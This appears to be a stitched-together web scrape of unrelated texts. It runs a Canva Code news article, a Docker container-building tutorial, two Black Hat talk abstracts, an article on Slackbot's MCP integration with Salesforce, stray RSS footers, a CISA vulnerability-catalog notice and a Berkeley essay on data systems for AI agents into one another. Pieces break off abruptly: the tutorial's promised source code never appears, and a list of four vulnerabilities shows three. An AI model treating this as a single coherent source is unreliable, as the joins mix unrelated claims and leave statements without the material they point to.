That language — "most pluggable" — suggests a platform strategy that doesn't require Canva to win the AI code generation race outright. If Canva becomes the default destination for making AI-generated code look professional and on-brand, it captures value from the entire category regardless of which code generation engine users prefer. The strategy also echoes the broader import capabilities that already allow Canva to ingest PowerPoint decks and PDFs from competing platforms, gradually pulling users deeper into the Canva ecosystem without demanding they abandon existing workflows.

What Canva Code can build — and where Danny Wu says it hits its limits

Wu was notably candid about the product's boundaries — a refreshing departure from the typical Silicon Valley product launch. "Canva Code is great for anything that works as a front-end app, and it's especially good when you want to leverage data, data submissions, and interactivity at small to medium scale," he said. "I'll be honest about the limitations. Canva Code is probably not going to be suitable if you're trying to build a website with complex backends, or if you're handling hundreds of thousands of visitors per day."

This candor effectively draws a line between Canva Code and the more ambitious platforms in the space. While Lovable and Replit are pushing toward full-stack application development — complete with databases, authentication, and production-grade hosting — Canva is deliberately limiting its scope to interactive front-end experiences at modest scale. The question is whether that's a strategic weakness or a disciplined focus. For the teachers, small business owners, and marketing teams that make up the bulk of Canva's user base, complex backends and high-traffic scalability are irrelevant concerns. What matters is whether they can create an interactive event page, a property listing website, or a classroom hub that looks professional and works on mobile — without hiring a developer or learning a new tool.

When asked about the AI models powering Canva Code, Wu confirmed the company uses a combination of proprietary and third-party models, including those from OpenAI and Anthropic, but declined to specify the exact mix. "We don't share the exact mix, and it does change over time," he said. "We also route differently depending on what you're asking for and which model family we think is best for handling certain requests."

Canva's AI acquisition spree — from Affinity to Leonardo.ai — now powers its vibe coding push

Canva's broader AI infrastructure has been significantly bolstered by an acquisition strategy that has accelerated over the past two years. In March 2024, the company acquired Affinity, the British creative software suite popular with Mac users, in a deal that Bloomberg reported was valued at "several hundred million pounds." Canva at the time positioned the deal as a way to compete with Adobe's flagship products — Illustrator, Photoshop, and InDesign — by gaining ownership of Affinity's Designer, Photo, and Publisher applications.

Just four months later, Canva acquired Leonardo.ai, an Australian generative AI startup with over 19 million registered users and more than a billion images generated. Canva co-founder Cameron Adams said at the time that Leonardo.ai's technology would be integrated into Canva's Magic Studio generative AI suite.

Together with these acquisitions, Canva Code is the company's attempt to layer interactive, code-driven capabilities on top of a visual design platform that has already been enhanced by professional-grade design tools and generative AI models. The company reports over 32 billion uses of its AI products to date — a staggering figure that underscores how deeply AI is now woven into everyday Canva workflows, even for users who may not think of themselves as using artificial intelligence.

Six million sites published, but Canva's retention data remains an open question

Canva's announcement highlights an impressive traction metric: users have created and published more than six million websites using Canva Code since the feature was first introduced a year ago. But the number deserves scrutiny.

Wu clarified in the interview that the six million figure represents published websites over the past year — meaning sites that were either made public or shared via password-protected or private links. "They may have published publicly, or behind a password, or as a private link. But that's the number of published websites," he said.

When asked about active retention — how many of those sites are still live and being maintained — Wu acknowledged the gap in his data. This is a meaningful distinction. In the vibe coding market, raw creation numbers can be misleading because the barrier to generating a site is so low. The more telling metric — which Canva does not yet provide — would be how many of those six million sites receive regular traffic or have been updated after initial publication.

The early use cases, however, suggest genuine utility beyond novelty. Educators and school administrators are using Canva Code to build classroom hubs, with one teacher creating bespoke webpages for each of their classrooms to keep students and parents updated on announcements. Small businesses, like Alt Marketing School, have built mini apps for fundraising training and interactive roadmaps for their members. For World Book Day, 50 readers created educational games across different subjects, complete with pedagogical guides for classroom use.

Canva Code pricing, data governance, and what enterprise customers need to know

Canva Code 2.0 is available across all of Canva's pricing tiers, including its free plan — a notable decision given that competitors like Lovable, Bolt, and Replit reserve their most capable features for paid subscribers. "As you go from, say, free to pro to business to enterprise, you would get more AI credits and be able to have higher usage of Canva Code," Wu said. "But it is available and it is usable — even free Canva accounts as well as education and not-for-profit accounts."

This credit-based approach mirrors the pricing evolution happening across the entire vibe coding category, where platforms have converged on token or credit systems that meter AI generation capacity rather than gating features behind subscription tiers. The difference is that Canva's free tier serves as an acquisition funnel for a much larger design platform, not just for the coding feature itself.

For the institutional customers Canva increasingly courts — school districts, real estate brokerages, enterprise marketing teams — data governance is a threshold concern. Wu addressed this directly. "All users and customers have full control over how their data is used," he said. "They can choose whether their prompts and data are used for AI training in the settings. For businesses and enterprises, team admins can manage this at the organizational level and guarantee that their inputs, content, and outputs won't be used for training." This opt-out approach reflects a lesson the broader industry has learned the hard way. As The Verge reported when Canva acquired Leonardo.ai, Adobe suffered significant backlash over a policy update regarding user data and AI model training — a controversy Canva appears keen to avoid.

Canva's long-term vision: closing the gap between imagination and what non-technical users can actually build

When asked where Canva Code fits into the company's long-term trajectory — and whether Canva is building toward a full-stack app development platform — Wu steered the conversation back to the company's core audience.

"A huge part of it is reducing the gap between your imagination and what's possible, especially for everyday users — people who don't have a lot of time," he said. "They don't have time to figure out deploys or MCPs or APIs. They just want to design more interactive and more dynamic communication."

He pointed to the rapid improvement in AI model capabilities as a key accelerant. "The kind of things you can create today in one shot — like a 3D visualization of a solar system — you really couldn't have trusted the output a year ago. But today, you have a really high success rate."

Whether Canva Code becomes a durable product category or a feature that gets absorbed into the platform's broader AI workflow will depend on how quickly the company can close the gap between its current front-end focus and the full-stack capabilities that increasingly define the competition. Lovable is shipping Supabase-backed apps with authentication and databases built in. Replit's agents can execute autonomous long-running builds. Bolt.new runs entire Node.js environments in a browser tab. These are fundamentally different ambitions than making a conference landing page look good.

But Canva has never won by matching the technical depth of its competitors. A decade ago, it didn't try to out-feature Adobe — it made design accessible to the 99 percent of people who would never open Photoshop. Now, in a vibe coding market where every tool can generate a working prototype from a prompt, Canva is making the same wager it made in 2012: that for most people, the hardest part was never the building. It was making it look like it came from you.

Read the full article on GamingOnLinux.

As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.

That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.

A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the Open Container Initiative (OCI) and the virtualization layer switched from lxc to runc (also an OCI project).

The traditional way to build a Docker container is built into the docker tool and uses a sequence of special instructions usually in a file named Dockerfile to compile the source code and assemble the "layers" of a container image.

Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:

• Container Builders - Turn source code into a Container Image
• Container Images - Archive files containing a "runnable" application
• Containers - Run Container Images

With Java EE those three categories map to technologies like:

• Container Builders == Ant or Maven
• Container Images == .jar, .war, or .ear
• Containers == JBoss, WebSphere, WebLogic

With Docker / OCI those three categories map to technologies like:

• Container Builders == Dockerfile, Buildpacks, or Jib
• Container Images == .tar files usually not dealt with directly but through a "container registry"
• Containers == Docker, Kubernetes, Cloud Run

Java Sample Application

git clone https://github.com/jamesward/comparing-docker-methods.git

cd comparing-docker-methods

In that project you'll see a basic Java web server in src/main/java/com/google/WebApp.java that just responds with "hello, world" on a GET request to /. Here is the source:

This session presents a production-ready approach to securing CI build pipelines against compromised infrastructure by anchoring trust in a physically isolated build machine and leveraging enclave-based builders. The isolated machine compiles and signs a minimal enclave image, which becomes the only entity allowed to build software artifacts in the cloud. The builder enclave image runs inside AWS Nitro Enclaves and enforces strict policy checks such as requiring signed commit hashes before proceeding. Remote attestation is used to verify the AWS Nitro enclave's (the builder) integrity by an Intel SGX enclave verifier before provisioning the build secret, with the SGX enclave serving as a root of trust by encrypting its database with the processor's sealing key.

We'll detail the threat model, including attackers with SSH or root on CI runners, and walk through a complete enclave build pipeline, showing how trust is rooted in the isolated, air-gapped machine and propagated via the SGX enclave to the Nitro enclave builder. The session includes a demo of a real-world implementation that protects production infrastructure from build tampering and secret exfiltration, even under active adversary conditions.

Attendees will learn how to design CI pipelines with isolation guarantees similar to air gapped machines but with the build and deployment velocity they are used to in modern cloud environments, integrate enclave attestation into automated builds, and establish a root of trust for critical workloads.

By:
Ben Liderman | System Architect, Fireblocks
Maayan Keshet | System Architect, Fireblocks

https://blackhat.com/eu-25/briefings/schedule/?#bootstrapping-trust-from-isolated-build-machines-to-enclaved-ci-pipelines-49023

Object Relational Mappers (ORMs) have become ubiquitous across software development, due to the ease of storing code objects on backend databases and builtin security mechanisms to protect against SQL injection. Previous security research has focused on the discovery of SQL injection vulnerabilities in the query builder layer of an ORM, but there has been an oversight into investigating insecure uses of an ORM.

This talk is about the ORM Leak vulnerability class, where an insecure use of an ORM or exposed interface for database querying that does not validate user inputs beforehand could result in leaking out sensitive data, without the exploitation of a SQL injection vulnerability. We will cover the conditions necessary for an ORM Leak vulnerability, real world examples of ORM leaks and exploitation techniques such as relational filtering and time-based attacks.
This talk will be an extension on our previous published research about ORM leaks and showcase a new susceptible ORM, how quirks of that ORM could be abused to bypass validations and how ORM leaks does not necessarily require the use of a susceptible ORM and is more often introduced by the exposure of a dangerous interface to users.

By: Alex Brown | Senior Security Consultant I, elttam

https://blackhat.com/eu-25/briefings/schedule/?#ormageddon-leaking-more-than-you-joined-for-49161

The mechanism behind the expansion is a set of dedicated Model Context Protocol (MCP) servers from Salesforce that connect Slackbot to the company's Headless 360 infrastructure. In practical terms, a salesperson can now ask Slackbot for a customer's deal history, receive a live Tableau visualization of pipeline trends, update a CRM record, and trigger a DocuSign approval — without ever switching tabs or logging into another application. According to Slack, the Salesforce IT team has already used this architecture to save its 1,500-plus engineers "thousands of custom coding hours annually."

The timing is not accidental. Slack is making this move amid escalating competitive pressure from Microsoft Teams, which claims 320 million-plus monthly active users and has Copilot embedded across the Office suite, and from Google, which continues to weave Gemini deeper into Workspace. And just days ago, The Information reported that some smaller companies are using Anthropic's Claude to replace Salesforce CRM entirely — one Atlanta-based property management firm with about 55 employees reportedly saved around $100,000 annually by building a custom replacement using Claude Code and Replit.

Against that backdrop, Slack CMO Ryan Gavin sat down for an exclusive interview with VentureBeat to frame the announcement and argue that the company's future depends on an idea he calls "multiplayer AI" — and that the 25 years of customer data locked inside Salesforce is an asset no vibe-coded alternative can replicate.

Why Slack's CMO believes 'multiplayer AI' is the next big enterprise battleground

Gavin's core argument is that the enterprise AI conversation has been stuck in single-player mode for too long, and that Slack is uniquely positioned to break it open.

"So much of what we've seen are just these incredible tools that have largely been single-player, incredible tools for individual productivity, helping people complete tasks and write code," Gavin told VentureBeat. "But as we've always known at Slack ever since our inception, work is a team sport. For AI to really take hold in the enterprise, it has to be multiplayer."

The distinction matters commercially. Most AI assistants today — ChatGPT, Claude, Copilot — default to one-on-one conversations with a single user. A researcher queries a model, gets a response, and acts on it alone. The insight stays in a private chat window, invisible to colleagues. Gavin argues this creates a new version of the tab-switching problem that plagued pre-AI enterprise software, except now employees are also navigating dozens of individual agent interfaces on top of their existing applications.

"It's going to benefit almost no one if every enterprise application out there spawns hundreds of agent babies, and employees end up in a worse world than they were before," Gavin said.

Slack's answer is to make Slackbot the orchestration layer. Because everything happens in shared channels, any action an agent takes — pulling a customer profile, flagging a deal risk, updating a Jira ticket — is visible to the entire team. A colleague can redirect, build on, or correct the agent's work in real time.

How MCP and Salesforce's headless 360 platform power Slackbot's new capabilities

The technical backbone of the announcement is the Model Context Protocol, an open standard originally developed by Anthropic that defines how AI models discover and invoke external tools. MCP has seen rapid adoption across the AI tooling ecosystem. By early 2026, it had been adopted by Claude Code, Cursor, GitHub Copilot, and OpenAI's tooling, with managed hosting available from AWS, Cloudflare, and Vercel. As a DEV Community explainer puts it, MCP "is the closest thing the AI tooling ecosystem has to a standard."

In this implementation, Salesforce exposes its platform capabilities — CRM records, Tableau visualizations, Data 360 customer profiles, Agentforce agents — as MCP servers. Slackbot operates as an MCP client, connecting to those servers and routing user queries to the appropriate back-end system. When a user asks Slackbot about a customer, the bot discovers which MCP tools are relevant, calls them, and synthesizes the results into a single response — all within the Slack conversation.

Gavin explained the architecture in simple terms: "Salesforce is extending what has always been our open platform through our Headless 360 strategy — making all of these MCP endpoints available. And then Slackbot acts as an MCP client, connecting to those MCP servers and bringing all that data in within the confines of a trusted permission platform."

That permission layer is critical. Slackbot respects each user's Salesforce permissions, meaning a marketing coordinator cannot accidentally access sales pipeline data they are not authorized to see. Validation rules, field-level security, and org-wide data boundary configurations carry over automatically. For admins, setup requires no custom integration code — Salesforce MCP servers can be discovered, installed, and governed from a single UI using the existing Slack-Salesforce connection.

Salesforce first introduced the Headless 360 concept at its TDX developer conference in April, positioning it as an API-driven layer that exposes the platform's data, workflows, and governance controls so that software agents, rather than human users, can execute business processes directly. As CIO.com reported at the time, analysts viewed the move as an effort by Salesforce "to position itself as a central layer for managing agent-driven operations across different business functions."

Slack says it's betting on openness, not on any single AI protocol

When asked whether Slack is making a risky bet on MCP as a protocol — given that standards in AI tooling can shift rapidly — Gavin reframed the question entirely.

"We're not betting on MCP, per se. We're betting on what we've always bet on, which is that Slack is an open platform," Gavin told VentureBeat. "MCP happens to be the best agent-to-agent protocol that the industry is rallying around right now, but if something better came out tomorrow, you'd see the same pattern from Slack — we're going to stay open. MCP and APIs are simply tools that facilitate that."

That open-platform philosophy is central to Slack's identity and, Gavin argues, its competitive differentiation. Slack already hosts more than 2,600 app integrations. The new MCP-native partner ecosystem includes Atlassian, Box, DocuSign, Canva, Lucid, Zoom, and more than 25 additional companies, each of whose agents can be added directly to shared Slack channels. MuleSoft Agent, now connected to Slackbot, helps manage integrations for the team — checking system health or surfacing critical error alerts in the same workspace where the team is already collaborating.

But MCP is not without trade-offs. The protocol requires tool discovery on every connection, and large tool libraries can consume significant context tokens. One technical analysis noted that a server exposing 300 tools could cost 5,000 to 10,000 tokens per session before the model does any useful work. For an enterprise like Salesforce with hundreds of potential tools across CRM, analytics, and service platforms, careful filtering and segmentation of MCP servers become essential design decisions — a challenge the company will need to navigate as the ecosystem scales.

Inside Slack's complicated relationship with Anthropic and the Claude question

Perhaps the most delicate topic in the interview concerned Slack's relationship with Anthropic, the AI lab behind Claude — and one of Slack's most visible power users. Just last week, Anthropic launched Claude Tag, a persistent AI teammate that works inside Slack channels, prompting confusion among Salesforce employees who worried it competes directly with Slackbot and Agentforce. The Information reported internal anxiety about whether Salesforce was welcoming a competitor into its own living room. Salesforce has financial reasons to maintain the partnership: the company reportedly expects to spend $300 million on Anthropic tokens this year and holds a stake in Anthropic.

Gavin addressed the tension head-on, framing it as a feature of Slack's platform strategy rather than a threat.

"We're incredibly excited and bullish about what Anthropic is bringing into Slack. Period. End of statement," Gavin said. He noted that Anthropic "is building roughly 65% of their code with Claude in Slack," and pointed out that ChatGPT was originally built in Slack, as was Perplexity.

"Building nowadays happens in the open, and every company is going to be building in the open with tools like this, and you need a platform to build in the open," Gavin said.

His argument is that feature overlap between Slackbot, Claude Tag, and other third-party agents is "actually a feature, not a bug" — a sign of a healthy platform rather than a competitive vulnerability. He compared it to an ecosystem where multiple products serve similar needs but win on craftsmanship, ease of use, and integration depth.

"One of the reasons Slackbot has been the fastest-adopted feature in Salesforce history is the simplicity, the approachability — underpinned by the trust that comes from having an agent that knows me, knows my tone, knows my work, knows my people, knows my data," Gavin said.

The distinction Slack draws is structural: Slackbot has access to a user's full workspace context, Salesforce data, permissions, and connected applications by default. Claude Tag, by contrast, only sees the channels it is explicitly added to. For Slack's leadership, that asymmetry is the moat.

How Slack plans to compete with Microsoft Teams and Google in the AI era

Asked directly about competitive positioning against Microsoft Teams and Google Workspace, Gavin pointed to Slack's open channel architecture as the differentiator no competitor can replicate.

"If you spend any time in Teams, it's a lovely tool for chat, direct messages, and video, but it has no platform for open communication across organizations," Gavin said. "Its SharePoint-based architecture is fundamentally limiting."

He cited Shopify as an example, where an internal AI agent called River is deployed across approximately 4,400 channels serving 6,000 employees. He also referenced a Fortune report noting that Microsoft's own head of AI mandated that his team run on Slack rather than Teams — a pointed detail Gavin clearly relished. "There's a reason for that," he said. "We're in an era right now where openness matters, and all the other tools you mentioned, they're still relatively closed."

The competitive pressure is real and intensifying. Microsoft has integrated Copilot across its entire productivity suite, giving it a distribution advantage that reaches virtually every Fortune 500 company. Google has been similarly aggressive with Gemini across Workspace. And new entrants are crowding the market: a startup called Viktor, which embeds AI agents inside Slack and Teams workspaces, recently raised a $75 million Series A led by Accel — with Slack cofounders Stewart Butterfield and Cal Henderson participating as angel investors.

Box, one of the enterprise customers highlighted in the announcement, told Slack it aims to have its sellers complete 75 to 80 percent of their work inside Slack. Gavin repeated that figure as evidence that the platform is becoming the default workspace for entire organizations, not just engineering teams — a shift he believes accelerates as AI makes every employee a builder.

Slack's biggest long-term play is making Salesforce's CRM useful to everyone in the company

Gavin saved what he considers the most underappreciated element of the announcement for last: the democratization of Salesforce's CRM.

For 25 years, Salesforce's CRM has been used primarily by sales, service, and marketing professionals — a relatively modest percentage of a company's total workforce. The promise of Slackbot as a conversational interface is that any employee, regardless of their role or technical fluency, can now query and act on CRM data simply by asking a question in natural language.

"What most people don't realize is that this democratization of CRM is going to take its usage from a modest percentage of employees to the entire enterprise," Gavin said. "When you can make systems like Data 360 or Agentforce for Sales accessible to the entire employee base — not just a percentage — think about how much more valuable those investments become."

He cited Engine, a company that handles 800,000 customer inquiries a year, as an example. Previously, answering a customer inquiry required a specific employee with access to a specific tool to look up a customer's history. Now, anyone in the company can ask Slackbot and see a complete customer profile, review case history, and write updates — all without being retrained or learning a new interface. Engine's CEO Elia Wallen, in a statement sent to VentureBeat, described the integration as enabling employees to "make data-driven decisions and take action without leaving the conversation."

The financial logic is straightforward: if Salesforce can make its platform useful to 100 percent of a customer's workforce rather than the 20 or 30 percent who currently hold licenses, the value of the existing Salesforce investment multiplies without requiring a proportional increase in spending. That pitch becomes especially potent at a time when CIOs are scrutinizing every line of their AI budgets.

What analysts and CIOs should watch as Slack rolls out its biggest AI update yet

The announcement is a significant architectural evolution for Slack, but several questions remain unanswered.

First, pricing. The company did not directly address whether Slackbot's MCP-powered Salesforce integration will require additional SKUs or license tiers. As Info-Tech Research Group analyst Scott Bickley cautioned when Headless 360 was first announced in April, "Salesforce's MO seems to be to announce new capabilities that require SKUs. CIOs should be asking about pricing now."

Second, performance. Routing user queries through MCP servers to Salesforce back-end systems introduces latency that could affect the conversational feel Slack prides itself on. Neither the press release nor the interview disclosed SLAs for MCP tool calls — a gap that enterprise buyers will want addressed.

Third, the competitive dynamics of the platform play. Slack's open-platform philosophy invites powerful partners like Anthropic and OpenAI into its ecosystem, but those same partners are building their own surfaces for enterprise work. Anthropic reportedly plans to expand Claude Tag to Microsoft Teams, email, and other project management tools — meaning the partner Salesforce is paying hundreds of millions a year is building the infrastructure to be useful without Slack at all.

And fourth, the broader existential question facing all enterprise software: whether AI agents will ultimately reduce the need for CRM systems entirely. Gavin's pitch — that Slack makes CRM more valuable by making it more accessible — is the inverse of the bear case. The market will ultimately decide which thesis prevails.

Salesforce reported record first-quarter revenue of $11.1 billion in fiscal Q1 2027, with Agentforce ARR surpassing $1 billion for the first time and combined AI and data ARR reaching $3.4 billion. Those numbers suggest the AI strategy is beginning to generate real revenue, even as the company navigates a market that remains uncertain about the long-term trajectory of legacy enterprise software.

"Slack has quickly moved from this beloved collaboration tool from the last ten years to now this multiplayer AI platform that we call a work operating system," Gavin said.

Five years ago, Salesforce paid $27.7 billion for what was, at its core, a very good group chat application. On Wednesday, it started trying to prove that group chat was never the product — it was the foundation. In the age of AI agents, the most valuable real estate in enterprise software may not be the database where the data lives. It may be the conversation where the decisions get made.

The post Exposed Banana RAT Infrastructure Reveals Payload Generator and Obfuscator Tooling appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Dieser Beitrag CISA nimmt vier aktiv ausgenutzte Schwachstellen in die KEV-Liste auf erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

• CVE-2026-48908 JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability
• CVE-2026-55255 Langflow Authorization Bypass Through User-Controlled Key Vulnerability  
• CVE-2026-56290 Joomlack Page Builder Improper Access Control Vulnerability

These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.

Binding Operational Directive (BOD) 26-04: Prioritizing Security Updates Based on Risk establishes vulnerability management requirements for Federal Civilian Executive Branch (FCEB) agencies. BOD 26-04 reinforces the importance of the KEV Catalog and requires federal agencies to prioritize rapid remediation of high-risk vulnerabilities, specifically those identified by Common Vulnerabilities and Exposures (CVEs) listed in CISA’s KEV Catalog on publicly exposed assets that grant total control of the asset post-exploitation, while deferring action for lower-risk vulnerabilities. BOD 26-04 further establishes basic expectations for when agencies must check whether threat actors compromised the system before the patch was applied.

While BOD 26-04 applies only to FCEB agencies, CISA encourages all organizations to adopt risk-based vulnerability management and prioritize remediation of KEV Catalog vulnerabilities. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.

Aware of an exploited vulnerability not currently listed in the KEV Catalog? Submit it for potential addition through CISA’s KEV Nomination Form. Potential KEV additions must have a CVE ID, evidence of exploitation, and clear mitigation guidance. 

... government of the people, by the people, for the people ...
    — Abraham Lincoln, Gettysburg Address (1863)

The cost of AI is dropping rapidly. GPT-4-class capabilities cost roughly $30 per million tokens in early 2023; today the same runs under $1, and some providers are pushing costs below $0.10. Across benchmarks, inference prices have fallen between 9x and 900x per year, with a median decline near 50x. Even frontier models are getting dramatically cheaper each generation, with open-source models following closely behind. And crucially, even if “Nobel-Prize-winning genius-level” intelligence isn’t here yet, the intelligence that suffices for the vast majority of knowledge work is here today, and getting cheaper by the month. At this rate, we are soon entering the era of virtually free intelligence—the kind that is more than enough for everyday knowledge work.

Disclosure: This post is a perspective led by Aditya G. Parameswaran—an Associate Professor of EECS and co-director of the EPIC Data Lab at UC Berkeley—together with his collaborators. It is part landscape survey and part perspective, and several of the research directions discussed below (including agentic speculation, structured memory, and synthesizing custom data systems from scratch) draw on the authors' own ongoing work.

So, what does this new era of near-free intelligence mean for data systems? We believe three new challenges—and opportunities—stem from near-zero inference costs:

Data Systems For Agents. Agents will soon become the dominant workload for data systems—with swarms of agents spun up in response to each end-user request. Given differences in characteristics between agents and humans—or applications acting on their behalf—how should we redesign data systems for such agentic users?

Data Systems Of Agents. As agents start taking on the bulk of knowledge work, a new substrate is needed for thousands of agents to manage state over long-running tasks, coordinate and reach consensus, and deal with failures. What do data systems that reliably and efficiently run and manage agent swarms look like?

Data Systems By Agents. Agents are rapidly becoming capable of synthesizing entire data systems in one go—meaning we can rebuild custom systems for each new workload. Verifying that such systems match intended behavior is a challenge. What does it take to let agents synthesize data systems we can actually trust?

Data Systems For, Of, and By Agents

Next, we will discuss each in more detail, followed by discussing the intertwined future of data systems and agents, especially as the three challenges intersect.

Data Systems For Agents

An agent querying a database doesn’t behave like a person or a BI tool. It performs what we call agentic speculation: a high-volume, heterogeneous stream of work spanning schema introspection, columnar exploration, partial and then full query formulation. With multiple agents each exploring portions of the hypothesis space, each user request could amount to 1000s of individual SQL queries. Now, users can issue ‘high-level’ data tasks, e.g., root-cause analysis—e.g., ‘why did coffee sales in Berkeley drop this year’—or exploratory cohort analysis—e.g., ‘which user segments are most likely to churn next quarter’—each involving a combinatorial space of potential joins, aggregations, and filter combinations.

Data Systems Redesigned to More Effectively Support Agentic Speculation

The requests from these agents have various opportunities for optimization. For instance, on a text-to-SQL benchmark with multiple agents attempting each task, only 10-20% of the sub-plans are distinct. Thus, 80-90% of sub-queries perform duplicate work. The same experiments show task success rates significantly increasing with more agentic attempts—so the redundancy is actually helpful. But from the data system perspective it’s wasted work.

An agent-first data system can exploit such properties to help agents make progress faster. It can reuse results across overlapping sub-plans, drawing on ideas from decades-old literature on multi-query optimization and shared scans. Or the data system can try to satisfice, returning approximate answers that are good enough for agents to make progress, leveraging work from the AQP literature—or streaming the results of the final or intermediate operators to help agents decide if seeing the rest is necessary or helpful.

Another opportunity here is to rethink the query interface entirely: instead of agents issuing a single SQL query at a time, they could instead issue a batch of queries, each with its own approximation requirements. Since enumerating an exponential search space (as in the root cause or cohort analysis examples above) isn’t a good use of agentic reasoning ability, perhaps data systems should support higher-level primitives rather than requiring agents to list each SQL query explicitly. One idea here is to draw on DBT-style Jinja macros to provide looping-based primitives for agents to interact with data systems.

A Caffeinated Army of Agents Ready to Tirelessly Complete Your Data Tasks

A final opportunity here is to stop thinking of data systems as passive executors of queries; data systems could be proactive, as they possess more grounding in data and system characteristics that agents may lack a priori—they could steer agents in different directions, provide results for related queries, and also provide performance-level feedback (e.g., instead of executing an expensive query, the system could first provide the agent a latency estimate). The reason we can do this now as opposed to the past is that an agent can accept any form of textual feedback and isn’t expecting a strict SQL query result. In fact, the data system could also prepare both materialized and virtual views for an agent in advance, provided to the agent as part of context, as this may be cheaper or more effective than having an agent author or use them.

Data Systems Of Agents

Previously, we focused on how agents interact with data systems. Now, we consider everything else agents need to keep working: where they live, how they remember, how they coordinate with each other, and how they deal with failures of each other. This agentic substrate is separate from the inference stack powering raw intelligence. However, the inference stack itself is being abstracted away through APIs (e.g., from OpenAI or Anthropic), or, for open-weight models, through serving frameworks that hide low-level details. So far, the agentic substrate has been managed through harnesses like Claude Code and Codex, coupled with various mechanisms to store and retrieve memory.

First, on the memory front, the current wisdom is that files are all you need; agents write to unstructured markdown (MD) files, which can then be searched using grep, or via embedding-based retrieval. In fact, many argue that the solution to continual learning is having agents consume a lot (e.g., an entire codebase, slack, company wikis, …) and then write their learnings into MD files, which are then retrieved selectively on demand. Indeed, file systems, bash scripting, and MD files are and will still be important for agents. However, at scale, when agents are doing the vast majority of knowledge work, this approach will no longer be effective.

Given limited context windows, retrieving all MD file fragments that may be relevant and stuffing it into the context will break down at some point. Even if context windows continue to grow, there are latency benefits to not put all information into context — and in many cases, e.g., when knowledge work involves interacting with large databases or code bases, it will be infeasible to serialize all relevant data into context.

Data Systems As A Substrate for Multi-Agent Swarms

One could use a knowledge graph representation, but knowledge graphs suffer from the same limitations as unstructured MD-based memory due to their lack of structured search. What one needs is to be able to retrieve only memory that is pertinent to the task, across multiple attributes (or facets) of interest. For example, an agent debugging a flaky test should be able to pull only the memories tagged with the relevant module, language, framework, and failure mode—rather retrieving based on keywords or embedding similarity. A separate issue is what to actually retrieve; raw agent traces with mistakes are not very useful as they will induce agents to repeat the same mistake—instead, we want the retrieved memory to be corrective.

We recently explored a related notion of structured memory, where we organize memory across various attributes, each of which could be set as * to indicate universal applicability, or set as a list of values to be matched. For a data agent, the dimensions could include the columns and tables, type of operation, and finally, open-ended natural-language corrective instructions. So, we could include memory that only applies to a given type of operation (e.g., ‘when performing date-time operations, use fiscal year as opposed to calendar year conventions’), or a given table (e.g., ‘column product_cleaned is preferred over column product when querying on product name’). One open question is defining an application-specific structured memory—or what others have called world models for memory. We believe this is akin to defining a schema for each application—and perhaps agents themselves can help us define and refine it over time.

One Possible Way To Store and Retrieve Structured Knowledge [From Here]

Structured memory will be useful also for evolutionary frameworks to effectively manage search spaces. Indeed, storing, structuring, and mining large volumes of single and multi-agent traces can help future agents become much more efficient—potentially enabling effective recursive self-improvement through structured memory-based mechanisms.

Another challenge is to support concurrent edits to shared memory, and concurrent edits in general, when there are many agents performing transformations. While there have been some useful attempts at supporting multiversioning and copy-on-write semantics, it isn’t clear that such techniques will suffice when thousands of agents are attempting to edit shared state at the same time. For instance, when agents are trying various potential transactions in response to a user request, the effects of the vast majority of these transactions need to be rolled back—with only the one ‘correct’ transaction’s result persisting. Work on supporting exactly-once semantics is relevant here, as are underlying techniques based on CRDTs and operational transformation. For updates to fuzzy mechanisms such as memory, we may be able to sacrifice on consistency for perfect correctness in the interest of latency. While agents can reason about semantics to compensate or roll back their actions to eventually finalize most tasks, the primary challenge lies in the degree to which they step on each other’s toes during the process. An important failure mode to be avoided is a form of “livelock,” where incessant compensating actions prevent any meaningful progress.

Beyond shared state, other concerns emerge when trying to support an army of agents, including what to do when agents fail, how agents should communicate with each other (directly or through intermediate shared state), and how we should deal with straggler agents. There have been some developments in supporting durable multi-agent execution, such as Temporal, but it remains to be seen if such solutions will apply at scale across thousands of agents. On the topic of communication, we need mechanisms to enable agents to negotiate with each other. Imagine four developer agents attempting to reach consensus on a shared schema, with distinct but overlapping objectives. In a human setting, this would involve iterative discussion and compromise; for agentic swarms, we must define the mechanisms that allow them to converge on a design that reflects the underlying goals of their respective principals. Or if agents are all requiring access to a limited resource, again communication will be necessary. It remains to be seen if this is best done via centralized coordination, or if a decentralized approach is necessary.

Data Systems By Agents

Finally, if intelligence is effectively free, then we can employ this intelligence to synthesize new data systems from scratch. Indeed, in many settings, general-purpose data systems may be overkill, as they have to support every schema, query, and hardware target. Given a workload, recent work, including Bespoke OLAP and GenDB, has shown that one can use an agentic pipeline to synthesize a complete, workload-specific analytical engine—in minutes to a few hours, at a cost of a few dollars. The engines are disposable: when the workload shifts, one can simply regenerate them. Analogously, our work has shown that one can synthesize custom key-value stores from scratch, targeted to the workload. In fact, modern IDEs, such as Kiro, elevate specifications for systems development to be a first-class citizen.

Agents Can Synthesize Custom Data Systems From Scratch

